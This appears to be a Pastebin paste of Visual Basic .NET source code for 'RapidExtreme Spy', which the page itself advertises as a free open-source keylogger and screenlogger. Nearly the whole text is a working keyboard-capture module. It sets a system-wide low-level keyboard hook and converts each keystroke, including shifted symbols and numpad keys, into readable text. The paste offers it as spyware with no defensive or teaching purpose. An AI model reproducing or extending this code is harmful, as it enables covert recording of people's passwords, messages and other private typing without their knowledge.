Advertisement
RapidExSpy

RapidEx Spy - Source code - Keyboard Hook

Dec 11th, 2013
126
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.15 KB | None | 0 0
  1. RapidExtreme Spy - Open Source Keylogger and Screenlogger. Free and easy to use.
  2. http://rapidexspy.blogspot.com
  3.  
  4. Imports System.Security.Cryptography
  5. Public Class Keyboard
  6. Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal Hook As Integer, ByVal KeyDelegate As KDel, ByVal HMod As Integer, ByVal ThreadId As Integer) As Integer
  7. Private Declare Function CallNextHookEx Lib "user32" (ByVal Hook As Integer, ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KeyStructure) As Integer
  8. Private Declare Function UnhookWindowsHookEx Lib "user32" Alias "UnhookWindowsHookEx" (ByVal Hook As Integer) As Integer
  9. Private Delegate Function KDel(ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KeyStructure) As Integer
  10. Public Shared Event Down(ByVal Key As String)
  11. Public Shared Event Up(ByVal Key As String)
  12. Private Shared Key As Integer
  13. Private Shared KHD As KDel
  14. Private Structure KeyStructure : Public Code As Integer : Public ScanCode As Integer : Public Flags As Integer : Public Time As Integer : Public ExtraInfo As Integer : End Structure
  15. Public Sub CreateHook()
  16. KHD = New KDel(AddressOf Proc)
  17. Key = SetWindowsHookEx(13, KHD, System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0)
  18. End Sub
  19.  
  20. Private Function Proc(ByVal Code As Integer, ByVal wParam As Integer, ByRef lParam As KeyStructure) As Integer
  21. If (Code = 0) Then
  22. Select Case wParam
  23. Case &H100, &H104 : RaiseEvent Down(Feed(CType(lParam.Code, Keys)))
  24. Case &H101, &H105 : RaiseEvent Up(Feed(CType(lParam.Code, Keys)))
  25. End Select
  26. End If
  27. Return CallNextHookEx(Key, Code, wParam, lParam)
  28. End Function
  29. Public Sub DiposeHook()
  30. UnhookWindowsHookEx(Key)
  31. MyBase.Finalize()
  32. End Sub
  33. Private Function Feed(ByVal e As Keys) As String
  34. Select Case e
  35. Case 65 To 90
  36. If Control.IsKeyLocked(Keys.CapsLock) Or (Control.ModifierKeys And Keys.Shift) <> 0 Then
  37. Return e.ToString
  38. Else
  39. Return e.ToString.ToLower
  40. End If
  41. Case 48 To 57
  42. If (Control.ModifierKeys And Keys.Shift) <> 0 Then
  43. Select Case e.ToString
  44. Case "D1" : Return "!"
  45. Case "D2" : Return "@"
  46. Case "D3" : Return "#"
  47. Case "D4" : Return "$"
  48. Case "D5" : Return "%"
  49. Case "D6" : Return "^"
  50. Case "D7" : Return "&"
  51. Case "D8" : Return "*"
  52. Case "D9" : Return "("
  53. Case "D0" : Return ")"
  54. End Select
  55. Else
  56. Return e.ToString.Replace("D", Nothing)
  57. End If
  58. Case 96 To 105
  59. Return e.ToString.Replace("NumPad", Nothing)
  60. Case 106 To 111
  61. Select Case e.ToString
  62. Case "Divide" : Return "/"
  63. Case "Multiply" : Return "*"
  64. Case "Subtract" : Return "-"
  65. Case "Add" : Return "+"
  66. Case "Decimal" : Return "."
  67. End Select
  68. Case 32
  69. Return " "
  70. Case 186 To 222
  71. If (Control.ModifierKeys And Keys.Shift) <> 0 Then
  72. Select Case e.ToString
  73. Case "OemMinus" : Return "_"
  74. Case "Oemplus" : Return "+"
  75. Case "OemOpenBrackets" : Return "{"
  76. Case "Oem6" : Return "}"
  77. Case "Oem5" : Return "|"
  78. Case "Oem1" : Return ":"
  79. Case "Oem7" : Return """"
  80. Case "Oemcomma" : Return "<"
  81. Case "OemPeriod" : Return ">"
  82. Case "OemQuestion" : Return "?"
  83. Case "Oemtilde" : Return "~"
  84. End Select
  85. Else
  86. Select Case e.ToString
  87. Case "OemMinus" : Return "-"
  88. Case "Oemplus" : Return "="
  89. Case "OemOpenBrackets" : Return "["
  90. Case "Oem6" : Return "]"
  91. Case "Oem5" : Return "\"
  92. Case "Oem1" : Return ";"
  93. Case "Oem7" : Return "'"
  94. Case "Oemcomma" : Return ","
  95. Case "OemPeriod" : Return "."
  96. Case "OemQuestion" : Return "/"
  97. Case "Oemtilde" : Return "`"
  98. End Select
  99. End If
  100. Case Keys.Return
  101. Return Environment.NewLine
  102. Case Else
  103. Return "<" + e.ToString + ">"
  104. End Select
  105. Return Nothing
  106. End Function
  107. End Class
  108.  
  109.  
  110.  
  111. http://rapidexspy.blogspot.com
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement